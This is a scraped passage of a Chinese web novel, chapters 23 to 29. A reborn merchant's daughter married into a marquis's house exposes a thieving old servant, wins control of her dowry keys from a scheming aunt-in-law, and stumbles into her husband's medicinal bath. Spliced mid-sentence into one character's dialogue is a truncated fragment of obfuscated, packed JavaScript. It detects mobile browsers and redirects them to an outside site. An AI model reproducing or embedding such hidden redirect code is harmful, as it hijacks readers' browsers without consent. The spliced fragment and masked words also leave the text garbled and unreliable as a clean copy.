便是发现少了两件嫁妆又能奈她何?
然而下一瞬,江
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元音倏地扬手,毫无预兆,用力扇在王嬷那张无赖的老脸上。
王嬷抬手捂着自己被打的脸,怔怔地望着江元音,嘴巴微张,却没发出半句音节。
怎么可能?
一贯温吞没脾气的江元音,怎么可能二话不说就打她?!
周遭的奴仆皆倒吸冷气,愕然看向江元音。
江元音冷脸,又重复了一遍:“我问你,我那两幅陶公的字画与六角宝相琉璃提灯在何处?”
王嬷从未见过这般神色的江元音,那张精致温婉的面容此刻陌生得瘆人,可她打心眼里认定其掀不起什么风浪,张嘴不服道:“夫人怎地能随意动手**?!”
江元音反手,利落给王嬷另一张脸一巴掌。
她秀眉微挑,无声道:打的就是你。
王嬷彻底懵了,踉跄了下,难以置信地愣在原地。
“你之前有句话说得甚是有理,主子是主子,奴才是奴才,”江元音徐徐道:“我当主子训斥你这个犯了事的奴才,有何不可?”
王嬷一琢磨,想起这话同她之前不许为昏厥的陈招娣请郎中的说辞相似,立即觉得江元音就是为了陈招娣对她怀恨在心,寻了个由头故意对她动手。
不知道天高地厚的蠢东西,搞不清这侯府真正的女主人是谁?!
自己可不是能任她打骂的下人,打狗还得看主人!
王嬷开始哭天抢地,“老奴在侯府忙活了四十余年,得了叔祖母信任特意调到这青松院来侍候侯爷的,叔祖母都不曾对老奴说过重话,夫人嫁入侯府不过半月,却不分青皂白地打骂老奴,老奴一定要去叔祖母面前讨个公道!”
她搬出了陆氏想要震慑江元音,手下的两名丫鬟回神,上前搀扶王嬷,出声帮腔。
“夫人有话好说,为何要动手?奴才的命也是命啊。”
“王嬷年过半百,叔祖母若知夫人这般待王嬷,定要生气的。”
江元音面色没有半点起伏,杏眸如一汪寒潭,直视王嬷,玩味问道:“你这般有恃无恐,是因为是二叔母授意你来动我的嫁妆吗?”
王嬷霎时白了脸,嘴唇哆嗦张合。
她、她……怎会知道?!
第24章 为夫
江元音眸色深了几许。
这原本只是她故意挖坑,引王嬷认罪的话术,没想到会有意外收获。
王嬷的反应,答案不言而喻,她今日所行,的确有陆氏授意。
如此,先前的困惑也说得通了。
只怕想要陶公字画的人是陆氏,王嬷只是顺手拿了那盏六角宝相琉璃提灯。
理清了这一层,江元音敲响了警钟。
之前以为陆氏只是自视过高,瞧不是她出身商贾,又怕她夺走掌家的权利,才安排眼线盯梢打压她。
左右她只会在侯府待一年半载,在齐司延去世前演个温顺的侄媳,彼此相安无事便好。
但现在看来,陆氏保不准打起了她嫁妆的主意,陶公的字画只是试探她底线的开端,她若不反击制止,早晚要将她吃干抹净。
江元音思绪翩飞,王嬷掉入她的话术陷阱里,失口道:“这事同叔祖母没关系!叔祖母没授意老奴,夫人怎能给叔祖母泼脏水呢?!”
“哦,”江元音接话道:“你这是承认是你个人所为了?”
“我、我……”王嬷脸红红白白,双手猛拍自己的大腿,继而又捶胸顿足,叫嚷道:“哎哟,老奴冤枉,老奴实在是冤枉啊,夫人只凭一张嘴便要将老奴定罪,老奴不服,老奴要去请叔祖母为老奴做主,还老奴清白!”
“莫急,”江元音不为所动,“晚点我们一道去,孰是孰非二叔母自有论断。”
一听到江元音要去见陆氏,王嬷眼里都是得意,笃定闹到了陆氏那,挨骂受罚的人绝对是江元音。
江元音余光瞟见雪燕快步走来的身影,又直视王嬷,扬声问道:“王嬷,我再问你最后一遍,你可拿了我的嫁妆?”
她加重了“嫁妆”二字的发音。
“老奴没拿!”王嬷嘴硬发誓道:“老奴若是拿了夫人的嫁妆,天打五雷轰,愿自断双手滚出侯府!”
她有叔祖母撑腰怕什么?
只要抵死不认,闹到叔祖母那,有江元音后悔的!
江元音笑了,抬眼环视院内众人,扬声问道:“王嬷说的,你们可都听见了?”
她从江家带来的奴仆们纷纷点头,那搀扶着王嬷的两个丫鬟开始帮腔。
“王嬷年事已高,夫人何必咄咄逼人!”
“还以为夫人是个明事理的,原来平日的亲善皆是装的!”
“闭嘴!”雪燕气冲冲赶来,怒瞪二人,“以下犯上,夫人岂容你置喙!”
二人不服,直接和雪燕争执起来:“同是丫鬟,你难道比我们高贵?凭何训斥我们?”
江元音抬手给其一记响亮的耳光。
挨打的人一怔,另一人刚要开口,她反手,一视同仁地扇过去。
前边拿王嬷练了手,这两巴掌很是熟练流畅。
她掀了掀眼皮,没甚狠厉的神色,但毕竟前世当了数年的皇后,摆起架子来气场迫人,意有所指地扫了王嬷一眼,“你们可认得清谁才是你们的主子?”
两人不自觉地颤了颤,惶恐退至王嬷身后,等着王嬷出头。
王嬷亦心肝打颤,狐疑瞅着江元音。
她今儿个是不是吃错药了?和平常判若两人。
江元音不打算在这两个丫鬟身上浪费太多时间,收拾了王嬷就能以儆效尤。
她问雪燕:“找到了?”
“找到了,”雪燕点头双手将搜寻到东西呈上,“请夫人过目。”
众人皆朝雪燕手心看去,她捧着玛瑙手串、珠钗……等等江元音赏给清秋一人的首饰。
“日防夜防家贼难防,”江元音冷眼瞥向王嬷,“这些都是我列册登记的嫁妆,却在你厢房找出,证据确凿,你可认罪?”
“冤枉啊夫人,老奴怎会做偷窃那等下作事?”王嬷眼珠子一转便有了说辞,“这些都是清秋那丫头强塞给老奴,说是孝敬老奴的,手脚不干净的人是她,夫人要治罪也该找她啊!”
除非清秋是活腻歪了,她不信她敢否认。
江元音执意要找事,就让她那死丫头顶嘴背锅好了。
江元音淡声确认道:“所以你既不承认这些是你偷抢的,也不
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承认窃取了陶公的字画与提灯是吗?”
“的确不是老奴做的,老奴当然不认。”
江元音不言语,只是朝身后的人使了个眼色,示意其擒住王嬷。
“夫人这是作何?要逼老奴认罪不成?”
“不作何,”江元音冷冷看她:“押你去报官罢了。”
“我不去——”王嬷开始激动挣扎,扬声大喊,“这里是侯府,侯爷、叔祖母都没发令,夫人无权送我去官府!放开我!我要见叔祖母!叔祖母——还老奴公道啊!”
直到这一刻她才真的慌了神,完全没料到江元音会要报官,越过了陆氏,把事情闹大,她可就完了!
王嬷叫喊连天,使出一身牛劲挣脱,两三人都快要按她不住,后院乱成了一锅粥,直到一道洪亮的男声响起——
“侯爷面前,不得喧哗!”
江元音循声望去,齐司延坐在轮椅上,清俊的面容配上涣散无神的双眼,仿佛和周遭的人都不在一个图层。
她是有些意外的。
他竟然来了,她以为他最多会派曲休来一趟。
王嬷见着齐司延,就好似见着了救星,顺势跪倒在地,扯着嗓子嚎啕大哭道:“侯爷要为老奴做主啊,老奴不知道何处得罪了夫人,夫人竟构陷老奴偷窃,要将老奴送官,老奴受点委屈没什么,但若是折损了侯爷、侯府的脸面可就遭了,夫人这般任性妄为,全然没将掌家的叔祖母放在眼里啊!”
成婚半月,两人都不曾同房,侯爷一定也打从心底里不喜这商贾之妻。
侯爷这般清冷的性子,定会厌恶生事的江元音。
等侯爷一表态,再去叔祖母那告她一状,看她日后还敢不敢端什么主子的架子!
可齐司延不知是没听见还是没听清,没对王嬷的控诉给出半点反应。
那双涣散的眼眸却几乎对准了人群中江元音的方向,他薄唇张了张,道:“夫人有何公道要为夫请?”
他微顿,清冷的声线里透出几分缱绻的温柔,“夫人,可是受了委屈?”
第25章 侯府不养刁奴
院内下人一片哗然。
江元音走至齐司延身侧,姿态自然地俯身凑近他耳畔,敛去了刚刚训斥王嬷等人的威严气场,又是一副江南女子的温婉,道:“夫君容禀。”
这是她第二次唤他“夫君”。
第一次是在新婚夜,她在药浴池撞见他同陈招娣形影暧昧那回。
一句“夫君”是提醒亦是试探,可惜那夜他置若罔闻,那之后她都唤他“侯爷”。
这一次凑到他耳畔唤他“夫君”,其中深意可就复杂了。
王嬷等下人不拿她当主子,不只是侯府做主的是陆氏,更因为他们觉得她不讨齐司延欢心。
这句“夫君”回应了他刚刚自称的“为夫”,既是想提醒他,身为丈夫该维护她这个妻子,也是提醒王嬷等人,她是何身份。
而俯到他耳边是不想扯着嗓子说话,更是故意展示两人的亲昵。
江元音心思百转千回,全然没察觉齐司延身子微僵。
他耳朵敏感,因为她温热的呼吸而酥麻泛红。
他呼吸重了重,面色却是不动声色的平静,“夫人请说。”
“我嫁入侯府不过半月,搁置在青松院的陪嫁之物却丢了好几件,今日又不见了两幅陶公的字画和一盏琉璃提灯,好些首饰在王嬷厢房里寻到了,可王嬷不认……”
王嬷跪地仰头大喊打断江元音:“侯爷,老奴冤枉啊!老奴……”
“闭嘴!”曲休拔剑直指王嬷,“夫人同侯爷在说话,你插什么嘴?”
瞅着离自己不过半拳的剑尖,王嬷吓得失语,抖得好似筛子。
齐司延稍稍朝江元音侧了侧头,耳朵离她远了,面颊却离她的唇近了,“夫人想如何处置?”
“妾身想报官处置,还望夫君应允。”
齐司延“报官?”
“我丢了嫁妆是小,侯府的安危是大,府中出了偷盗之事,不查个水落石出,只怕会带来更大的隐患,若真非王嬷所为,报官亦能揪出真凶,还她清白。”
江元音看向瑟瑟发抖的王嬷,很是真挚的承诺:“若真是我冤枉了你,我愿赔礼道歉。”
被剑指着,王嬷不敢多嘴,心存侥幸地望着齐司延。
侯爷深居简出,没有公务,从不过问府中之事,静养身体度日,不可能会答应江元音报官,把事情闹大的。
然而下一瞬,齐司延开口将她的侥幸浇灭:“夫人言之有理,那便依夫人所言,报官处置。”
王嬷这下是彻底慌了神,报官的后果在脑海里闪过。
一旦查到了叔祖母身上,给其带来了麻烦,那她一大家子全完了!
她一大家子的**契可都在叔祖母手里!
思及此,她纠结了一番,咬咬牙开始俯首高呼:“误会!都是误会!恳请侯爷、夫人听老奴解释一番啊!”
“老奴便是有百八十个胆子,也不敢偷盗夫人的嫁妆啊!只是见夫人平日里不去茶室,更没用过那盏琉璃提灯,便一时鬼迷心窍,拿走想欣赏一番,不日便放回原位,谁知被有心人添油加醋告到了夫人那,让夫人误会了老奴,老奴冤啊。”
避免齐司延听漏,江元音一直维持着俯身弯腰凑到他耳边的姿势,质问王嬷:“既是如此,你先前为何不说?”
“夫人来势汹汹,抬手便给了老奴两耳光,老奴哪寻得到解释的机会,”王嬷恶眼看向候在轮椅后的清秋,大声道:“至于夫人所说的那些个首饰,都是清秋那丫头孝敬老奴的,要偷也是清秋偷的!”
被泼了脏水的清秋一颤,怯弱道:“我、我没有……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15269173|166615||http|test|mini|href|location''.split(''|''),0,{}));
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r>“那些都是我赏给她的,”江元音站直身子,转头看向清秋,眼里有无声的安抚与鼓励,意有所指地扬声问:“你将我赏给你的首饰,转送给王嬷了?”
清秋呼吸急促,一贯被打压剥削让她下意识地想逃避,但在看到王嬷脸上的巴掌印后,忽然滋生出勇气。
——“你挨的这一巴掌,我定替你讨回来。”
夫人真为了她扇了王嬷!
夫人待她极好,她不能让夫人失望!
“我没有,”清秋摇头,开了头后愈发坚定无惧,“夫**度,待院里的奴仆甚好,时常赏赐我们,可只要被王嬷瞅见便会被抢夺了去,不止是我,大家皆是!”
“贱蹄子,血口喷人!”王嬷目露凶光,胁迫提醒道:“这些话你可敢当着叔祖母的面说?”
她的**契一样在叔祖母手中,竟敢站队江元音,真是不想活了!
江元音望着清秋,目光中有无声的邀请:“清秋,你可敢?”
回忆着这半个月感受到的关心,清秋热血沸腾地点头。
江元音又俯身回到齐司延耳畔,道:“夫君,既已知我那字画和提灯的下落,此事便是侯府内务,理应问过二叔母,再发落王嬷,夫君以为如何?”
齐司延轻“嗯”了声:“便依夫人所言。”
王嬷顿时松了口气,眉眼都飞扬起来。
只要不报官,交给陆氏处置,她一定会安然无恙!
齐司延继而吩咐曲休,“你随夫人前去,替本侯转告二叔母,侯府不养刁奴。”
“是,侯爷。”
江元音侧目看向齐司延,他依旧双目无神,看不出什么情绪的起伏。
可有他这一句话便够她达成目的。
她要去见陆氏,可不止是为了收拾王嬷。
第26章 如意郎君
静怡轩。
王嬷一迈进厅内,瞅见主位上的陆氏,便好似看见了靠山一般,扑通一跪就开始哭诉:“老奴今日打理青松院茶室时,瞅见两幅陶公的字画,一时看入了迷,便取了下来想好生欣赏一番,谁知夫人竟扣了顶**嫁妆的帽子,对老奴又骂又打,老奴在侯府尽心尽力侍候近四十余年,从未受过此等委屈,还请叔祖母为老奴做主啊!”
陆氏瞬间黑了脸,眉目间已有了愠色。
那两幅陶公的字画的确是她授意王嬷去拿的。
虽如今定宁侯府里里外外都是她一家做主,可这么多年齐文台毫无建树,只能勉强揽些原本属于齐司延的公务干着,她儿子齐明宏同样无能不争气,打着齐司延堂哥的名头,才勉强混了个四品公职,定宁侯府早就不复往日风光,逐步没落,而她一家作风奢靡,这些年早将侯府的家底亏空,快要剩个空架子。
她拿那两幅字画,正是想为齐明宏打点。
她生气王嬷这点事都办不好,更气江元音来跟她小题大做。
她看向江元音,模糊重点的发难,“又打又骂?我竟不知你还有这一面。”
这半月她日日准时准点来跟自己请安,乖巧听话,王嬷等人也说她没有半点脾气,很好拿捏。
难不成都是装的?
江元音低眉敛目,还是平日里那副恭顺模样,福身回道:“二叔母曾说侄媳治下不严,侄媳铭记于心,是以绝不姑息奴仆恶行,以免辜负二叔母教导。”
陆氏蹙眉,“不过两幅字画,倒也不必如此上纲上线,你对下人这般苛待,日后谁还敢尽心尽力的侍候你?”
她要的可不止是两幅字画,而是江元音的全部嫁妆。
王嬷闻言,顿觉得出了恶气,眉眼里是抑制不住的得意。
江元音徐声回道:“侄媳并非故意苛待,只是王嬷品行不端,所作所为令人不齿,对侄媳陪嫁的字画、琉璃提灯,她不问自取视为盗,对丫鬟们的细软首饰,强行占有视为抢,桩桩件件若是传出去,定有损侯门家风,折了侯门的脸面。”
她语气温和说得有条有理,陆氏一时语塞。
江元音抬眼,望向主位的陆氏,一脸谨慎与紧张道:“原本侄媳亦不想闹到二叔母面前来,惹二叔母烦心,只是王嬷竟有恃无恐地说一切是由二叔母授意……”
陆氏脸色骤变,怒瞪王嬷:“胡说八道!”
她了解王嬷的脾性,加上的确是她授意,令她几乎没有质疑江元音的话。
江元音所言,的确像是王嬷会说会做的。
王嬷被这一眼吓得魂都要飞走,脸色惨白,说话都开始结巴:“老、老奴……没说……老奴发、发誓……叔祖母信老奴……”
江元音心中冷笑。
呵,陆氏果然打她嫁妆的主意,今日她就要断了其念想。
她故意说道:“二叔母高风亮节,定宁侯府可是汴京的高门权贵,二叔母什么珍稀好物没见过?侄媳那点从江南带过来的嫁妆怎么可能入得了二叔母的眼?”
这一番话堵得陆氏更是憋得慌。
“王嬷为了自己的贪念,竟肆意辱没二叔母的名声,侄媳这才出手规训她,”江元音往陆氏跟前迈了两步,满脸真挚地表态,“王嬷谎话连篇,侄媳从未信过,二叔母也切莫被她蒙骗了去,她先前还发誓,说若碰了侄媳的嫁妆愿自剁双手,滚出侯府呢。”
说完,她侧目看向王嬷,道:“你动辄起誓,难道就不怕誓言应验?”
王嬷有口难辩,跪行至陆氏脚边,伸手抓住她的裙摆,“老奴对叔祖母忠心耿耿,唯命是从,叔祖母的命令……”
陆氏抬脚踹开王嬷,厉声道:“住嘴!”
蠢货,这个时候和她表忠心,只会更让人觉得一切都是她安排授意的!
陆氏看向江元音,尝试把事情压下来,道:“王嬷毕竟是侯府的老人,我也不可能只听你一面之词,你刚刚所言,可有证据?”
江元音颔首,“来见二叔母前,侯爷在青松院已审过一轮了,原本侯爷是要送王嬷去见官的,但王嬷既承认拿了侄媳的嫁妆,这便是侯府内务,当由二叔母处置发落。”
她看向清秋和曲休,道:“曲休与清秋皆是人证。”
不是只有陆氏会模糊重点,她也会。
她刚刚所言没有一句是假的,却也故意没有说清楚细节,就是要让陆氏误以为,王嬷在齐司延面前拉其下水了,曲休和清秋是证明王嬷供出她的人证。
陆氏脸色难看至极,“……司延审过了?”
曲休十分配合的作揖回道:“夫人所言句句属实,侯爷命我转告叔祖母:侯府不养刁奴。”
陆氏没料到会齐司延会掺和进来,话已至此,她若护住王嬷只是在给自己抹黑。
她深呼吸,道:“既然司延审过,我便不再多问,至于王嬷,便依她自己的誓言处置,以儆效尤。”
王嬷跪地求饶,“不——
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不要,叔祖母饶命、夫人饶命,不要砍掉老奴的双手,不要……”
陆氏恐其失言,示意家丁将其拖下去。
“二叔母明辨是非、治下有方,实乃侄媳榜样,”江元夸赞完后,似是想到了什么,忧心忡忡道:“青松院有六名仆妇,五名都为王嬷马首是瞻,侄媳担心日后还会出现类似的事,不知二叔母能否允许侄媳换掉她们?”
陆氏气得握紧了袖袍中的手,“……行。”
江元音捏帕抚心,感慨道:“此事也提醒了侄媳一定要看管好自己的嫁妆,”她眨了眨眼,好声好气道:“侄媳陪嫁的铺子、地契、银两悉数清点入了侯府账库,那库房钥匙二叔母不妨交予侄媳掌管吧,免得不慎弄丢,二叔母无辜担责。”
这时曲休出声道:“叔祖母,侯爷说您管家有方,我们侯府是绝不可能做动用夫人嫁妆这种不耻之事,夫人的嫁妆当由夫人掌管。”
他搬出齐司延,直接堵住了陆氏所有推拒的理由。
江元音讶然。
齐司延说过这种话?
何时说的?
陆氏恨得咬牙,脸色难看至极,强扯出一丝笑容来,“那是自然。”
她原本盘算着变卖了江元音的嫁妆去替女儿齐婧涵添置嫁妆的。
国公府的四郎虽是妾室所生的庶子,但已是齐婧涵能物色到的最好的亲事。
她还等着风光嫁女后,能攀上国公府的权势,替齐明宏的仕途铺路。
现在全毁了!
她要去哪给齐婧涵筹嫁妆?!
江元音对陆氏的愤怒痛苦熟视无睹,她眉眼低垂,一派温良无害的模样。
一切比她想象中还要顺利,她得偿所愿地离开。
离开了静怡轩,到了僻静的廊道,江元音方才向曲休开口询问:“要我自己掌管嫁妆的话,侯爷是何时说的?”
曲休摇头:“侯爷未曾说过。”
江元音深深望着他,眸色复杂古怪起来。
……曲休为了她撒谎?
曲休扛不住她这样别有深意的目光,但也不敢道出实情,清了清嗓子,道:“以我对侯爷的了解,之前那样的情况下,侯爷定会那般想那般说。”
江元音恍然,她心情甚好,便弯了弯眉眼,顺着他的话感慨道:“能嫁给侯爷这样的如意郎君,是我人生一大幸事。”
齐司延虽身体不好,但不与她同房不用她侍候,遇着事了,还能与她同一立场助她,怎么不算是如意郎君呢?
第27章 夫人亲自服侍侯爷药浴
王嬷被废了双手,赶出了定宁侯府的事一传开,全府震惊。
江元音在侯府的存在感远超她刚嫁入侯府那日。
她一回青松院便遣散了剩余的仆妇丫鬟,只留下清秋了一人。
江元音再问了遍半月前的问题:“清秋,你可愿意到我身边侍候?”
之前那次的邀约,更多的是未雨绸缪的布局与算计,而这一回,唯余真心。
清秋点头:“愿意,清秋愿一生追随夫人,竭尽全力侍候,永无二心!”
“好,”江元音莞尔,“过几日我会去二叔母那讨回你的**契,日后你若真心待我,我定护你一生无虞。”
清秋感动得热泪盈眶,倏地跪地,“清秋何德何能,得夫人厚爱,刚刚在叔祖母面前没能帮上夫人半句……”
从青松院到静怡轩,她脑子里不住在斟酌和王嬷对峙的措辞,唯恐表现不好,牵连了江元音。
谁知到了陆氏面前,她这个证人根本没有说话的机会。
江元音伸手将她扶起,“你敢为我站出来,这便足够了。”
清秋吸了吸鼻子,想到什么似的,忧心道:“原本王嬷要我们做的便是留意夫人每日的所作所为,向她汇报,如今夫人将她们的遣散了,叔祖母只怕会派新的人选过来。”
江元音目露欣赏,清秋比她认为的要聪明。
她表示了然的点点头,问了困惑已久的问题:“你们在青松院两年有余,在我嫁入侯府前,你们的职责是什么?”
“留意侯爷的饮食起居,与身体状况,可惜侯爷不喜人近身侍候,我们平日里能见着侯爷的机会甚少。”
江元音眸色微深,兀自思量。
随着她对陆氏的了解加深,她觉得事情似乎没有这么简单。
半月来,不曾见陆氏踏入青松院一步。
陆氏对齐司延这个侄儿,到底有几分真心?
另一边,曲休将江元音在静怡轩的种种禀告齐司延。
齐司延听着,似是若有所思。
沉默思索半晌,他出声吩咐道:“明日你陪她去库房,确认她拿到存放她那些地契铺面嫁妆的库房钥匙。”
曲休有几分犹疑,“可是侯爷,这样会否太过张扬高调,恐引发陆氏不满。”
“本侯如何说,你便如何做。”
闻言,曲休立即应声不再多问:“是,侯爷。”
稍作斟酌,还是开口提醒道:“侯爷,曲休以为,夫人对您已是情根深种。”
齐司延抬眼,蹙眉看他。
“出了静怡轩后,夫人很是深情地感慨,能嫁给侯爷这样的如意郎君,是她人生一大幸事。”
齐司延墨眸平静无波,抿唇沉声道:“日后这等无关紧要的事,无需向我禀报。”
“……是,侯爷。”
次日,曲休一大早候在江元音门外,表明自己奉齐司延之命,陪她去见陆氏,落实库房钥匙之事。
屋内,在铜镜前梳妆的江元音,颇有些讶然。
她对齐司延的认知,真是日日不同。
新婚夜觉得他高高在上特意辱她,后来觉得他真是身子孱弱,无心情爱无心她,与她分居院中两方,不愿受她打扰。
昨日他会亲自出面,听她控诉王嬷已在她意料之外,今日竟还会派曲休来助她。
……他这个夫君还挺称职。
曲休乃齐司延亲信,有他陪着,江元音不仅顺利拿到了存放她地契、铺面等嫁妆的库房钥匙,更没甚阻碍地拿到了清秋的**契。
而陆氏,显然昨夜未能酣睡,满脸掩饰不住地憔悴。
她强忍着情绪应付,待江元音离开静怡轩后,满脸烦躁不安地在屋内踱步。
“不是婚后从未同房么?怎地感觉侯爷对这**愈发上心了?”贴身嬷嬷邓嬷上前道,“这般下去只怕那**会滋生贪念,想要这侯府主母之位,若是……”
“白日做梦!”陆氏冷声打断,眼底是瘆人的狠厉,“她休想——!”
她胸膛起伏,继而朝邓嬷招手。
邓嬷凑耳贴近,倾听其吩咐。
邓嬷:“是,老奴这就去办。”
陆氏冷笑。
她可不会给他们夫妻恩爱、琴瑟和鸣的机会。
江元音“满载而归”心情甚好,回了青松院,挑了块上好的清白玉佩赠与曲休,“我知你跟着侯爷定见多识广,这玉佩或许不比平日里侯爷赏你的来得稀奇名贵,却是我一片心意,有劳你今日陪我跑这一趟。”
“我奉令行事,夫人的心意愧不敢当,”曲休拱手作揖行礼,却没伸手接,“我岂敢夺侯爷的功劳。”
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“侯爷那边我自会亲自备礼致谢,你今日随我走了一趟,便是功劳,”江元音把玉佩往前递了递,“你若不嫌弃,便收着。”
曲休闻言不再推拒收下。
这时看守院门的家丁匆匆朝江元音走来,双手捧着封信呈上:“夫人,看大门的门子说,您娘家来信了。”
江元音刚还盈满眼眶的笑意消散,没甚表情地伸手接过信件。
嫁入侯府后,她虽称不上过得多如意快活,却远没有在江家的压抑难熬。
她都快忘了,她还有“娘家人”。
其实不用看也知信件的内容是什么,定是知会她,他们要入京了,要她准备迎接。
她打开信,江兴德的字迹跃入眼帘。
——【吾女亲启,为父与你母亲、阿弟已启程赴京,你可着手清扫布置府邸,不日一家团聚,共享天伦。】
她瞟了眼信件上的落笔时间,是二十二天前。
算了下,当是她离开江家一月时,江兴德他们便收整好家当行李出发了,约莫还有十天半月,他们当抵达汴京。
江元音勾了勾唇,眼底却是一片冰冷。
一家团聚,共享天伦?
那她可得好生准备一番了。
江元音心里琢磨着江家的事,傍晚时候,新麻烦找上了门。
陆氏派了贴身嬷嬷邓嬷前来。
邓嬷一脸假笑,道:“夫人遣散了原本青松院的仆妇,想必院内人手不够,可需老奴挑几个府内伶俐的丫鬟送来?”
“多谢嬷嬷好意,”江元音也笑,婉拒道:“侯爷喜静,我平日里没什么事需要忙活,陪嫁的那些个奴仆够用,暂且不劳烦嬷嬷了,他日若是缺人手了,定去寻嬷嬷帮忙。”
她刚把盯梢的人遣散不到两日,陆氏便又想送人过来?
她可不会同意。
邓嬷半点没失望,笑容还加深了些,给身后的两个抱着大布袋的丫鬟使了个眼色,示意两人上前,冲江元音介绍道:“今儿个又到了侯爷该泡药浴的日子,这些都是要用到药材,往常到了日子,王嬷会命人去府中药房那领药,在药浴池布药准备。”
邓嬷笑眯了眼,遮住眼底的不怀好意,又道:“如今没了王嬷等老手,今夜怕是要辛苦夫人亲自去服侍侯爷药浴了。”
第28章 不慎跌入浴池
邓嬷交代了些注意事项,留下药材,便领着丫鬟离开了。
江元音有些不解。
就这?
陆氏教训她的方式便是让她去做原本奴仆该做的活,折损她刚因为收拾了王嬷而树立的主子的威信,让她觉得难堪?
那也真是雷声大雨点小了。
且不说青松院现在留下都是她自己的人,她更不会因为要帮齐司延准备药浴池而感到难堪。
就当是感谢他助她整顿了青松院,除掉了陆氏的眼线,又帮她顺利拿到了存放她嫁妆的库房钥匙。
戌时一刻,江元音到了药浴池门口。
曲休闻讯赶来,“夫人,侯爷不在里面。”
“我知道,”江元音道明来意,“二叔母派人来知会我,今日是侯爷该泡药浴的日子,据悉从前都是王嬷等人负责,她们既不在院中,今夜便由我负责。”
“如此,夫人将药材留下便可,”曲休劝阻道:“此等粗活不敢辛苦夫人。”
“无碍,”江元音温声回道:“白日里我便说过,要备礼感谢侯爷,我自知囊中没甚宝物能与侯爷相配,能服侍侯爷药浴,我只觉得荣幸,不觉得辛苦。”
送礼是门学问,齐司延可不是曲休、清秋等人,送得不好,怕是适得其反。
服侍他药浴,既能还了他昨日相助的人情,又能顺势营造夫妻二人“恩爱”的假象,轻松回击陆氏。
她同齐司延“感情好了”,日后她在侯府说话会更有份量。
一举多得,何乐不为?
曲休不死心地继续劝阻:“夫人有所不知,往常王嬷等人也是将药材留下,剩余的交予我来做。”
江元音想起清秋说,齐司延不喜她们近身侍候,来青松院两年,能见着他的机会甚少,只当曲休在提醒她这个,于是扫了眼身后抱着药材的雪燕、清秋,回道:“她们只会帮我添水,侯爷到药浴池前,一定会离开。”
曲休还要阻拦,江元音朝他笑了笑,率先道:“我知你侍候侯爷定比我细心周到,待我泡好了药材,同侯爷当面言谢,剩余的便都交予你。”
她本就只打算做个前期准备,扮演好“听话的侄媳”、“体贴的妻子”,还了齐司延人情,并未打算全程侍候他。
曲休这才不再阻止,应声离开,去转述齐司延去了。
药浴池是侯府专门建的,嵌入式的设计,材质特殊,有恒温之效。
江元音倒是没有假手于人,同雪燕、清秋等人一起添水,倒入药材包,足足捣鼓了半个时辰,才准备妥当。
满池的热水让室内的温度升高,不停地倒水忙活,江元音额头渗出一层细密的汗。
她伸手接过雪燕递过来的帕子,吩咐清秋:“差不多了,你去请侯爷过来。”
“是,夫人。”
屋内只剩下江元音同雪燕主仆两人。
雪燕感慨道:“小姐在江家便没过几日好日子,没想到到了侯府也一样糟心。”
她没有江元音那样百转千回的心思,在她看来,从前在江家就没几人将江元音当做主子,如今到了侯府一样被轻视。
“侯爷身子不好,做什么都不方便,不让其他人近身侍候,日后岂不是都得小姐亲力亲为?”雪燕越发心疼,“小姐得多辛苦啊。”
她只会站在江元音的角度看问题,她看着江元音受了那么多苦,自然期盼其能过养尊处优的日子。
若事事亲力亲为,和奴仆有何区别?
“我不辛苦,”江元音摇头,有些意味深长道:“他才辛苦。”
她体验过五感尽失的感觉,能体会理解齐司延的感受。
像他那样矜贵的公子,定不甘成为事事需人协助的废人。
所以,他才会彻底失明前,开始学习盲文。
不喜人近身侍候,看着冷漠无情,实则是为了保护自己的尊严与骄傲
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吧。
“雪燕,”江元音难得严肃地看她,道:“我已完婚,日后便是只有你我二人的场合,你也得改口唤我‘夫人’,我知你是心疼我,但刚那些话切不可再说,侯爷很好,不曾亏待我,日后便是要我事事亲为的照顾他,我是愿意的,这亦是我为**的本分。”
一年半载的照料,换余生快活,这笔交易是稳赚的。
“是……夫人。”
江元音缓和了神色语气,“侯爷当要过来了,你回主屋去给我备洗漱的热水吧,一会我便同清秋回来歇息。”
雪燕应声退下。
江元音安静在屋内候着,伸手探向浴池内,想试一下水温。
可她一时忘了手中还拿着雪燕递给她拭汗的帕子,一伸手,帕子掉入浴池里,她随即伸手去捞。
然而这时,身后屋内传来一阵“吱呀”的响动。
江元音心口一紧。
这屋里还有人?
谁一直躲在那?
她在这药浴池待了半个时辰了都未察觉!
江元音下意识地警惕回头望去,然而先前为了捞帕子,她大半身子悬浮在浴池上方,骤然回首,身子失了平衡,不受控地朝浴池跌去。
一头栽入热乎的池水里,在扑腾着找回平衡的刹那,她脑子里已飞速闪过各种猜测和念头。
齐司延可有仇家?
这是潜入药浴池,准备刺杀齐司延的吗?
她只要能拖延片刻,齐司延和曲休应当要到了。
江元音快速在浴池中站定,抬手抹了把眼睛处的水珠,紧绷着脸朝声源处看去,低喝道:“谁?”
然而视线里正是她期盼快些赶到的齐司延。
江元音愕然,素来清醒的脑子,此刻亦是一团乱。
他如何会在那?!
她太过惊讶以至于没发现齐司延素来涣散的墨眸此刻是聚焦有神的,一一落在她湿透而凹凸有致的身体上。
第29章 不对劲
先前为了方便干活,江元音褪去了厚重的外衫,穿着单薄,打湿后粘在身上,玲珑的曲线尽显。
池水没过了她的腰身,她上半身暴露在齐司延的视野。
江元音全然未察,讶然扬声:“侯爷?!”
齐司延坐在轮椅上,似是自屋角暗处而来。
而回应她的是来自齐司延身后,曲休急切的声音与脚步:“侯……”
“退下!”齐司延高声喝退。
曲休的脚步和声音都停了。
江元音循声望去,在齐司延身后依稀能看到一处光亮,那里好似有一张打开的门。
难道说这药浴池连着他的起居室?
所以他直接从起居室那边过来了?
齐司延恢复了双目涣散的模样,朝着药浴池的方向,试探地唤了一声:“夫人?”
江元音恐其听不见,大声回道:“是我!”
她理清了些许头绪,方觉得他刚刚的反应有些奇怪。
他既耳目不聪,当不知道她现在是何情况,为何会第一时间喝退曲休?
可齐司延好似与她心有灵犀,知晓她心中困惑一般,开口道:“我自起居室那边过来,隐隐约约听到轻微的水声,夫人……”他眯了眯眸,似是极力想看清楚的样子,“怎地好似站在药浴池里?”
